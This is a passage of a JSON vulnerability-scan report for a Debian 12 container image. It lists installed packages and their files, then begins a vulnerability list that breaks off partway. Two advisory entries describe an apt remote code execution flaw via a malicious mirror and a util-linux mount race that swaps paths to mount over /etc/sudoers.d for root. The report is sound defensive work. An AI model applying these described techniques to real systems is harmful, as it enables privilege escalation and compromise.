"/usr/share/X11/xkb/compat/olpc", "/usr/share/X11/xkb/compat/pc", "/usr/share/X11/xkb/compat/pc98", "/usr/share/X11/xkb/compat/xfree86", "/usr/share/X11/xkb/compat/xtest", "/usr/share/X11/xkb/geometry/README", "/usr/share/X11/xkb/geometry/amiga", "/usr/share/X11/xkb/geometry/ataritt", "/usr/share/X11/xkb/geometry/chicony", "/usr/share/X11/xkb/geometry/dell", "/usr/share/X11/xkb/geometry/digital_vndr/lk", "/usr/share/X11/xkb/geometry/digital_vndr/pc", "/usr/share/X11/xkb/geometry/digital_vndr/unix", "/usr/share/X11/xkb/geometry/everex", "/usr/share/X11/xkb/geometry/fujitsu", "/usr/share/X11/xkb/geometry/hhk", "/usr/share/X11/xkb/geometry/hp", "/usr/share/X11/xkb/geometry/keytronic", "/usr/share/X11/xkb/geometry/kinesis", "/usr/share/X11/xkb/geometry/macintosh", "/usr/share/X11/xkb/geometry/microsoft", "/usr/share/X11/xkb/geometry/nec", "/usr/share/X11/xkb/geometry/nokia", "/usr/share/X11/xkb/geometry/northgate", "/usr/share/X11/xkb/geometry/pc", "/usr/share/X11/xkb/geometry/sanwa", "/usr/share/X11/xkb/geometry/sgi_vndr/O2", "/usr/share/X11/xkb/geometry/sgi_vndr/indigo", "/usr/share/X11/xkb/geometry/sgi_vndr/indy", "/usr/share/X11/xkb/geometry/sony", "/usr/share/X11/xkb/geometry/steelseries", "/usr/share/X11/xkb/geometry/sun", "/usr/share/X11/xkb/geometry/teck", "/usr/share/X11/xkb/geometry/thinkpad", "/usr/share/X11/xkb/geometry/typematrix", "/usr/share/X11/xkb/geometry/winbook", "/usr/share/X11/xkb/keycodes/README", "/usr/share/X11/xkb/keycodes/aliases", "/usr/share/X11/xkb/keycodes/amiga", "/usr/share/X11/xkb/keycodes/ataritt", "/usr/share/X11/xkb/keycodes/digital_vndr/lk", "/usr/share/X11/xkb/keycodes/digital_vndr/pc", "/usr/share/X11/xkb/keycodes/empty", "/usr/share/X11/xkb/keycodes/evdev", "/usr/share/X11/xkb/keycodes/fujitsu", "/usr/share/X11/xkb/keycodes/hp", "/usr/share/X11/xkb/keycodes/ibm", "/usr/share/X11/xkb/keycodes/jolla", "/usr/share/X11/xkb/keycodes/macintosh", "/usr/share/X11/xkb/keycodes/olpc", "/usr/share/X11/xkb/keycodes/sgi_vndr/indigo", "/usr/share/X11/xkb/keycodes/sgi_vndr/indy", "/usr/share/X11/xkb/keycodes/sgi_vndr/iris", "/usr/share/X11/xkb/keycodes/sony", "/usr/share/X11/xkb/keycodes/sun", "/usr/share/X11/xkb/keycodes/xfree86", "/usr/share/X11/xkb/keycodes/xfree98", "/usr/share/X11/xkb/rules/README", "/usr/share/X11/xkb/rules/base", "/usr/share/X11/xkb/rules/base.extras.xml", "/usr/share/X11/xkb/rules/base.lst", "/usr/share/X11/xkb/rules/base.xml", "/usr/share/X11/xkb/rules/evdev", "/usr/share/X11/xkb/rules/evdev.extras.xml", "/usr/share/X11/xkb/rules/evdev.lst", "/usr/share/X11/xkb/rules/evdev.xml", "/usr/share/X11/xkb/rules/xfree98", "/usr/share/X11/xkb/rules/xkb.dtd", "/usr/share/X11/xkb/symbols/af", "/usr/share/X11/xkb/symbols/al", "/usr/share/X11/xkb/symbols/altwin", "/usr/share/X11/xkb/symbols/am", "/usr/share/X11/xkb/symbols/apl", "/usr/share/X11/xkb/symbols/ara", "/usr/share/X11/xkb/symbols/at", "/usr/share/X11/xkb/symbols/au", "/usr/share/X11/xkb/symbols/az", "/usr/share/X11/xkb/symbols/ba", "/usr/share/X11/xkb/symbols/bd", "/usr/share/X11/xkb/symbols/be", "/usr/share/X11/xkb/symbols/bg", "/usr/share/X11/xkb/symbols/br", "/usr/share/X11/xkb/symbols/brai", "/usr/share/X11/xkb/symbols/bt", "/usr/share/X11/xkb/symbols/bw", "/usr/share/X11/xkb/symbols/by", "/usr/share/X11/xkb/symbols/ca", "/usr/share/X11/xkb/symbols/capslock", "/usr/share/X11/xkb/symbols/cd", "/usr/share/X11/xkb/symbols/ch", "/usr/share/X11/xkb/symbols/cm", "/usr/share/X11/xkb/symbols/cn", "/usr/share/X11/xkb/symbols/compose", "/usr/share/X11/xkb/symbols/ctrl", "/usr/share/X11/xkb/symbols/cz", "/usr/share/X11/xkb/symbols/de", "/usr/share/X11/xkb/symbols/digital_vndr/lk", "/usr/share/X11/xkb/symbols/digital_vndr/pc", "/usr/share/X11/xkb/symbols/digital_vndr/us", "/usr/share/X11/xkb/symbols/digital_vndr/vt", "/usr/share/X11/xkb/symbols/dk", "/usr/share/X11/xkb/symbols/dz", "/usr/share/X11/xkb/symbols/ee", "/usr/share/X11/xkb/symbols/eg", "/usr/share/X11/xkb/symbols/empty", "/usr/share/X11/xkb/symbols/epo", "/usr/share/X11/xkb/symbols/es", "/usr/share/X11/xkb/symbols/et", "/usr/share/X11/xkb/symbols/eu", "/usr/share/X11/xkb/symbols/eurosign", "/usr/share/X11/xkb/symbols/fi", "/usr/share/X11/xkb/symbols/fo", "/usr/share/X11/xkb/symbols/fr", "/usr/share/X11/xkb/symbols/fujitsu_vndr/jp", "/usr/share/X11/xkb/symbols/fujitsu_vndr/us", "/usr/share/X11/xkb/symbols/gb", "/usr/share/X11/xkb/symbols/ge", "/usr/share/X11/xkb/symbols/gh", "/usr/share/X11/xkb/symbols/gn", "/usr/share/X11/xkb/symbols/gr", "/usr/share/X11/xkb/symbols/group", "/usr/share/X11/xkb/symbols/hp_vndr/us", "/usr/share/X11/xkb/symbols/hr", "/usr/share/X11/xkb/symbols/hu", "/usr/share/X11/xkb/symbols/id", "/usr/share/X11/xkb/symbols/ie", "/usr/share/X11/xkb/symbols/il", "/usr/share/X11/xkb/symbols/in", "/usr/share/X11/xkb/symbols/inet", "/usr/share/X11/xkb/symbols/iq", "/usr/share/X11/xkb/symbols/ir", "/usr/share/X11/xkb/symbols/is", "/usr/share/X11/xkb/symbols/it", "/usr/share/X11/xkb/symbols/jolla_vndr/sbj", "/usr/share/X11/xkb/symbols/jp", "/usr/share/X11/xkb/symbols/jv", "/usr/share/X11/xkb/symbols/ke", "/usr/share/X11/xkb/symbols/keypad", "/usr/share/X11/xkb/symbols/kg", "/usr/share/X11/xkb/symbols/kh", "/usr/share/X11/xkb/symbols/kpdl", "/usr/share/X11/xkb/symbols/kr", "/usr/share/X11/xkb/symbols/kz", "/usr/share/X11/xkb/symbols/la", "/usr/share/X11/xkb/symbols/latam", "/usr/share/X11/xkb/symbols/latin", "/usr/share/X11/xkb/symbols/level2", "/usr/share/X11/xkb/symbols/level3", "/usr/share/X11/xkb/symbols/level5", "/usr/share/X11/xkb/symbols/lk", "/usr/share/X11/xkb/symbols/lt", "/usr/share/X11/xkb/symbols/lv", "/usr/share/X11/xkb/symbols/ma", "/usr/share/X11/xkb/symbols/macintosh_vndr/apple", "/usr/share/X11/xkb/symbols/macintosh_vndr/ch", "/usr/share/X11/xkb/symbols/macintosh_vndr/de", "/usr/share/X11/xkb/symbols/macintosh_vndr/dk", "/usr/share/X11/xkb/symbols/macintosh_vndr/fi", "/usr/share/X11/xkb/symbols/macintosh_vndr/fr", "/usr/share/X11/xkb/symbols/macintosh_vndr/gb", "/usr/share/X11/xkb/symbols/macintosh_vndr/is", "/usr/share/X11/xkb/symbols/macintosh_vndr/it", "/usr/share/X11/xkb/symbols/macintosh_vndr/jp", "/usr/share/X11/xkb/symbols/macintosh_vndr/latam", "/usr/share/X11/xkb/symbols/macintosh_vndr/nl", "/usr/share/X11/xkb/symbols/macintosh_vndr/no", "/usr/share/X11/xkb/symbols/macintosh_vndr/pt", "/usr/share/X11/xkb/symbols/macintosh_vndr/se", "/usr/share/X11/xkb/symbols/macintosh_vndr/us", "/usr/share/X11/xkb/symbols/mao", "/usr/share/X11/xkb/symbols/md", "/usr/share/X11/xkb/symbols/me", "/usr/share/X11/xkb/symbols/mk", "/usr/share/X11/xkb/symbols/ml", "/usr/share/X11/xkb/symbols/mm", "/usr/share/X11/xkb/symbols/mn", "/usr/share/X11/xkb/symbols/mt", "/usr/share/X11/xkb/symbols/mv", "/usr/share/X11/xkb/symbols/my", "/usr/share/X11/xkb/symbols/nbsp", "/usr/share/X11/xkb/symbols/nec_vndr/jp", "/usr/share/X11/xkb/symbols/ng", "/usr/share/X11/xkb/symbols/nl", "/usr/share/X11/xkb/symbols/no", "/usr/share/X11/xkb/symbols/nokia_vndr/rx-44", "/usr/share/X11/xkb/symbols/nokia_vndr/rx-51", "/usr/share/X11/xkb/symbols/nokia_vndr/su-8w", "/usr/share/X11/xkb/symbols/np", "/usr/share/X11/xkb/symbols/olpc", "/usr/share/X11/xkb/symbols/parens", "/usr/share/X11/xkb/symbols/pc", "/usr/share/X11/xkb/symbols/ph", "/usr/share/X11/xkb/symbols/pk", "/usr/share/X11/xkb/symbols/pl", "/usr/share/X11/xkb/symbols/pt", "/usr/share/X11/xkb/symbols/ro", "/usr/share/X11/xkb/symbols/rs", "/usr/share/X11/xkb/symbols/ru", "/usr/share/X11/xkb/symbols/rupeesign", "/usr/share/X11/xkb/symbols/se", "/usr/share/X11/xkb/symbols/sgi_vndr/jp", "/usr/share/X11/xkb/symbols/sharp_vndr/sl-c3x00", "/usr/share/X11/xkb/symbols/sharp_vndr/ws003sh", "/usr/share/X11/xkb/symbols/sharp_vndr/ws007sh", "/usr/share/X11/xkb/symbols/sharp_vndr/ws011sh", "/usr/share/X11/xkb/symbols/sharp_vndr/ws020sh", "/usr/share/X11/xkb/symbols/shift", "/usr/share/X11/xkb/symbols/si", "/usr/share/X11/xkb/symbols/sk", "/usr/share/X11/xkb/symbols/sn", "/usr/share/X11/xkb/symbols/sony_vndr/us", "/usr/share/X11/xkb/symbols/srvr_ctrl", "/usr/share/X11/xkb/symbols/sun_vndr/ara", "/usr/share/X11/xkb/symbols/sun_vndr/be", "/usr/share/X11/xkb/symbols/sun_vndr/br", "/usr/share/X11/xkb/symbols/sun_vndr/ca", "/usr/share/X11/xkb/symbols/sun_vndr/ch", "/usr/share/X11/xkb/symbols/sun_vndr/cz", "/usr/share/X11/xkb/symbols/sun_vndr/de", "/usr/share/X11/xkb/symbols/sun_vndr/dk", "/usr/share/X11/xkb/symbols/sun_vndr/ee", "/usr/share/X11/xkb/symbols/sun_vndr/es", "/usr/share/X11/xkb/symbols/sun_vndr/fi", "/usr/share/X11/xkb/symbols/sun_vndr/fr", "/usr/share/X11/xkb/symbols/sun_vndr/gb", "/usr/share/X11/xkb/symbols/sun_vndr/gr", "/usr/share/X11/xkb/symbols/sun_vndr/it", "/usr/share/X11/xkb/symbols/sun_vndr/jp", "/usr/share/X11/xkb/symbols/sun_vndr/kr", "/usr/share/X11/xkb/symbols/sun_vndr/lt", "/usr/share/X11/xkb/symbols/sun_vndr/lv", "/usr/share/X11/xkb/symbols/sun_vndr/nl", "/usr/share/X11/xkb/symbols/sun_vndr/no", "/usr/share/X11/xkb/symbols/sun_vndr/pl", "/usr/share/X11/xkb/symbols/sun_vndr/pt", "/usr/share/X11/xkb/symbols/sun_vndr/ro", "/usr/share/X11/xkb/symbols/sun_vndr/ru", "/usr/share/X11/xkb/symbols/sun_vndr/se", "/usr/share/X11/xkb/symbols/sun_vndr/sk", "/usr/share/X11/xkb/symbols/sun_vndr/solaris", "/usr/share/X11/xkb/symbols/sun_vndr/tr", "/usr/share/X11/xkb/symbols/sun_vndr/tw", "/usr/share/X11/xkb/symbols/sun_vndr/ua", "/usr/share/X11/xkb/symbols/sun_vndr/us", "/usr/share/X11/xkb/symbols/sy", "/usr/share/X11/xkb/symbols/terminate", "/usr/share/X11/xkb/symbols/tg", "/usr/share/X11/xkb/symbols/th", "/usr/share/X11/xkb/symbols/tj", "/usr/share/X11/xkb/symbols/tm", "/usr/share/X11/xkb/symbols/tr", "/usr/share/X11/xkb/symbols/trans", "/usr/share/X11/xkb/symbols/tw", "/usr/share/X11/xkb/symbols/typo", "/usr/share/X11/xkb/symbols/tz", "/usr/share/X11/xkb/symbols/ua", "/usr/share/X11/xkb/symbols/us", "/usr/share/X11/xkb/symbols/uz", "/usr/share/X11/xkb/symbols/vn", "/usr/share/X11/xkb/symbols/xfree68_vndr/amiga", "/usr/share/X11/xkb/symbols/xfree68_vndr/ataritt", "/usr/share/X11/xkb/symbols/za", "/usr/share/X11/xkb/types/README", "/usr/share/X11/xkb/types/basic", "/usr/share/X11/xkb/types/cancel", "/usr/share/X11/xkb/types/caps", "/usr/share/X11/xkb/types/complete", "/usr/share/X11/xkb/types/default", "/usr/share/X11/xkb/types/extra", "/usr/share/X11/xkb/types/iso9995", "/usr/share/X11/xkb/types/level5", "/usr/share/X11/xkb/types/mousekeys", "/usr/share/X11/xkb/types/nokia", "/usr/share/X11/xkb/types/numpad", "/usr/share/X11/xkb/types/pc", "/usr/share/doc/xkb-data/NEWS.Debian.gz", "/usr/share/doc/xkb-data/README.Debian", "/usr/share/doc/xkb-data/changelog.Debian.gz", "/usr/share/doc/xkb-data/changelog.gz", "/usr/share/doc/xkb-data/copyright", "/usr/share/locale/af/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/ar/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/az/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/bg/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/ca/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/crh/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/cs/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/da/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/de/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/el/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/en_GB/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/eo/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/es/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/fi/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/fr/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/fur/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/gl/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/he/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/hr/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/hu/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/id/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/it/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/ja/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/ka/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/ko/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/ky/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/lt/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/nb/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/nl/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/pl/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/pt/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/ro/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/ru/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/rw/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/sk/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/sl/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/sq/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/sr/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/sv/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/tr/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/uk/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/vi/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/xkeyboard-config.mo", "/usr/share/man/man7/xkeyboard-config.7.gz", "/usr/share/pkgconfig/xkeyboard-config.pc" ], "AnalyzedBy": "dpkg" }, { "ID": "xserver-common@2:21.1.7-3+deb12u11", "Name": "xserver-common", "Identifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "Version": "21.1.7", "Release": "3+deb12u11", "Epoch": 2, "Arch": "all", "SrcName": "xorg-server", "SrcVersion": "21.1.7", "SrcRelease": "3+deb12u11", "SrcEpoch": 2, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "x11-common@1:7.7+23", "x11-xkb-utils@7.7+7", "xkb-data@2.35.1-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/xorg/protocol.txt", "/usr/share/doc/xserver-common/changelog.Debian.gz", "/usr/share/doc/xserver-common/changelog.gz", "/usr/share/doc/xserver-common/copyright", "/usr/share/man/man1/Xserver.1.gz", "/var/lib/xkb/README.compiled" ], "AnalyzedBy": "dpkg" }, { "ID": "xvfb@2:21.1.7-3+deb12u11", "Name": "xvfb", "Identifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "Version": "21.1.7", "Release": "3+deb12u11", "Epoch": 2, "Arch": "amd64", "SrcName": "xorg-server", "SrcVersion": "21.1.7", "SrcRelease": "3+deb12u11", "SrcEpoch": 2, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit1@1:3.0.9-1", "libbsd0@0.11.7-2", "libc6@2.36-9+deb12u13", "libgcrypt20@1.10.1-3", "libgl1@1.6.0-1", "libpixman-1-0@0.42.2-1", "libselinux1@3.4-1+b6", "libsystemd0@252.39-1~deb12u1", "libunwind8@1.6.2-3", "libxau6@1:1.0.9-1", "libxdmcp6@1:1.1.2-3", "libxfont2@1:2.0.6-1", "xserver-common@2:21.1.7-3+deb12u11" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/bin/Xvfb", "/usr/bin/xvfb-run", "/usr/share/doc/xvfb/changelog.Debian.gz", "/usr/share/doc/xvfb/changelog.gz", "/usr/share/doc/xvfb/copyright", "/usr/share/man/man1/Xvfb.1.gz", "/usr/share/man/man1/xvfb-run.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "xz-utils@5.4.1-1", "Name": "xz-utils", "Identifier": { "PURL": "pkg:deb/debian/xz-utils@5.4.1-1?arch=amd64\u0026distro=debian-12.13", "UID": "16321605a3f405fb" }, "Version": "5.4.1", "Release": "1", "Arch": "amd64", "SrcName": "xz-utils", "SrcVersion": "5.4.1", "SrcRelease": "1", "Licenses": [ "PD", "probably-PD", "GPL-2.0-or-later", "LGPL-2.1-or-later", "permissive-fsf", "Autoconf", "permissive-nowarranty", "GPL-2.0-only", "none", "config-h", "LGPL-2.0-only", "LGPL-2.1-only", "noderivs", "PD-debian", "GPL-3.0-only" ], "Maintainer": "Sebastian Andrzej Siewior \u003csebastian@breakpoint.cc\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "liblzma5@5.4.1-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/lzmainfo", "/usr/bin/xz", "/usr/bin/xzdiff", "/usr/bin/xzgrep", "/usr/bin/xzless", "/usr/bin/xzmore", "/usr/share/doc/xz-utils/AUTHORS", "/usr/share/doc/xz-utils/NEWS.gz", "/usr/share/doc/xz-utils/README.Debian", "/usr/share/doc/xz-utils/README.gz", "/usr/share/doc/xz-utils/THANKS", "/usr/share/doc/xz-utils/changelog.Debian.gz", "/usr/share/doc/xz-utils/changelog.gz", "/usr/share/doc/xz-utils/copyright", "/usr/share/doc/xz-utils/faq.txt.gz", "/usr/share/doc/xz-utils/history.txt.gz", "/usr/share/locale/ca/LC_MESSAGES/xz.mo", "/usr/share/locale/cs/LC_MESSAGES/xz.mo", "/usr/share/locale/da/LC_MESSAGES/xz.mo", "/usr/share/locale/de/LC_MESSAGES/xz.mo", "/usr/share/locale/eo/LC_MESSAGES/xz.mo", "/usr/share/locale/es/LC_MESSAGES/xz.mo", "/usr/share/locale/fi/LC_MESSAGES/xz.mo", "/usr/share/locale/fr/LC_MESSAGES/xz.mo", "/usr/share/locale/hr/LC_MESSAGES/xz.mo", "/usr/share/locale/hu/LC_MESSAGES/xz.mo", "/usr/share/locale/it/LC_MESSAGES/xz.mo", "/usr/share/locale/ko/LC_MESSAGES/xz.mo", "/usr/share/locale/pl/LC_MESSAGES/xz.mo", "/usr/share/locale/pt/LC_MESSAGES/xz.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/xz.mo", "/usr/share/locale/ro/LC_MESSAGES/xz.mo", "/usr/share/locale/sr/LC_MESSAGES/xz.mo", "/usr/share/locale/sv/LC_MESSAGES/xz.mo", "/usr/share/locale/tr/LC_MESSAGES/xz.mo", "/usr/share/locale/uk/LC_MESSAGES/xz.mo", "/usr/share/locale/vi/LC_MESSAGES/xz.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/xz.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/xz.mo", "/usr/share/man/da/man1/xzdiff.1.gz", "/usr/share/man/da/man1/xzless.1.gz", "/usr/share/man/da/man1/xzmore.1.gz", "/usr/share/man/de/man1/xz.1.gz", "/usr/share/man/de/man1/xzdiff.1.gz", "/usr/share/man/de/man1/xzgrep.1.gz", "/usr/share/man/de/man1/xzless.1.gz", "/usr/share/man/de/man1/xzmore.1.gz", "/usr/share/man/fr/man1/xz.1.gz", "/usr/share/man/fr/man1/xzdiff.1.gz", "/usr/share/man/fr/man1/xzless.1.gz", "/usr/share/man/fr/man1/xzmore.1.gz", "/usr/share/man/ko/man1/xz.1.gz", "/usr/share/man/ko/man1/xzdiff.1.gz", "/usr/share/man/ko/man1/xzgrep.1.gz", "/usr/share/man/ko/man1/xzless.1.gz", "/usr/share/man/ko/man1/xzmore.1.gz", "/usr/share/man/man1/lzmainfo.1.gz", "/usr/share/man/man1/xz.1.gz", "/usr/share/man/man1/xzdiff.1.gz", "/usr/share/man/man1/xzgrep.1.gz", "/usr/share/man/man1/xzless.1.gz", "/usr/share/man/man1/xzmore.1.gz", "/usr/share/man/pt_BR/man1/xz.1.gz", "/usr/share/man/pt_BR/man1/xzdiff.1.gz", "/usr/share/man/pt_BR/man1/xzgrep.1.gz", "/usr/share/man/pt_BR/man1/xzless.1.gz", "/usr/share/man/pt_BR/man1/xzmore.1.gz", "/usr/share/man/ro/man1/xz.1.gz", "/usr/share/man/ro/man1/xzdiff.1.gz", "/usr/share/man/ro/man1/xzgrep.1.gz", "/usr/share/man/ro/man1/xzless.1.gz", "/usr/share/man/ro/man1/xzmore.1.gz", "/usr/share/man/uk/man1/xz.1.gz", "/usr/share/man/uk/man1/xzdiff.1.gz", "/usr/share/man/uk/man1/xzgrep.1.gz", "/usr/share/man/uk/man1/xzless.1.gz", "/usr/share/man/uk/man1/xzmore.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "zlib1g@1:1.2.13.dfsg-1", "Name": "zlib1g", "Identifier": { "PURL": "pkg:deb/debian/zlib1g@1.2.13.dfsg-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "b8af482209fecace" }, "Version": "1.2.13.dfsg", "Release": "1", "Epoch": 1, "Arch": "amd64", "SrcName": "zlib", "SrcVersion": "1.2.13.dfsg", "SrcRelease": "1", "SrcEpoch": 1, "Licenses": [ "Zlib" ], "Maintainer": "Mark Brown \u003cbroonie@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libz.so.1.2.13", "/usr/share/doc/zlib1g/changelog.Debian.gz", "/usr/share/doc/zlib1g/changelog.gz", "/usr/share/doc/zlib1g/copyright" ], "AnalyzedBy": "dpkg" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-109518", "VendorIDs": [ "DLA-4880-1" ], "PkgID": "apt@2.6.1", "PkgName": "apt", "PkgIdentifier": { "PURL": "pkg:deb/debian/apt@2.6.1?arch=amd64\u0026distro=debian-12.13", "UID": "f99d8501bf1c50a1" }, "InstalledVersion": "2.6.1", "FixedVersion": "2.6.2", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-109518", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:132a6c6faa6928294c1ace8ab6d65ad68a492f88931ad83e750982ffb3b1cf45", "Title": "apt: apt: Remote code execution via hard link reuse during package download retries", "Description": "On Debian, Ubuntu, and derivative Linux distributions, an on-path attacker who can manipulate the HTTP traffic (including a malicious mirror or proxy) between an APT client and an archive server triggered by a package install can trick the client into installing an attacker-controlled unverified package and achieve remote code execution with root privileges.\n\n\n\nThe vulnerability is caused by the reuse of hard links and requires the client to follow redirects and retry the download of package files. It requires the client to have a non-zero Acquire::Retries configuration setting; the value 3 is the default starting with Debian 12 (bookworm) and Ubuntu 22.04 LTS (Jammy Jellyfish), so older releases are unaffected in a default configuration", "Severity": "HIGH", "CweIDs": [ "CWE-62", "CWE-367" ], "VendorSeverity": { "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/11/04/12", "https://access.redhat.com/security/cve/CVE-2026-109518", "https://lists.debian.org/debian-lts-announce/2026/11/msg00004.html", "https://lists.debian.org/debian-security-announce/2026/msg00526.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-109518", "https://ubuntu.com/blog/apt-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8996-1", "https://www.cve.org/CVERecord?id=CVE-2026-109518" ], "PublishedDate": "2026-11-04T16:17:33.01Z", "LastModifiedDate": "2026-11-05T05:18:19.033Z" }, { "VulnerabilityID": "CVE-2026-53613", "PkgID": "bsdutils@1:2.38.1-5+deb12u3", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "af5a434542493ff" }, "InstalledVersion": "1:2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:56927f5d330b687da8273798004d3a717b12f97b0b3b77a9223ae2fd5b6365d1", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", 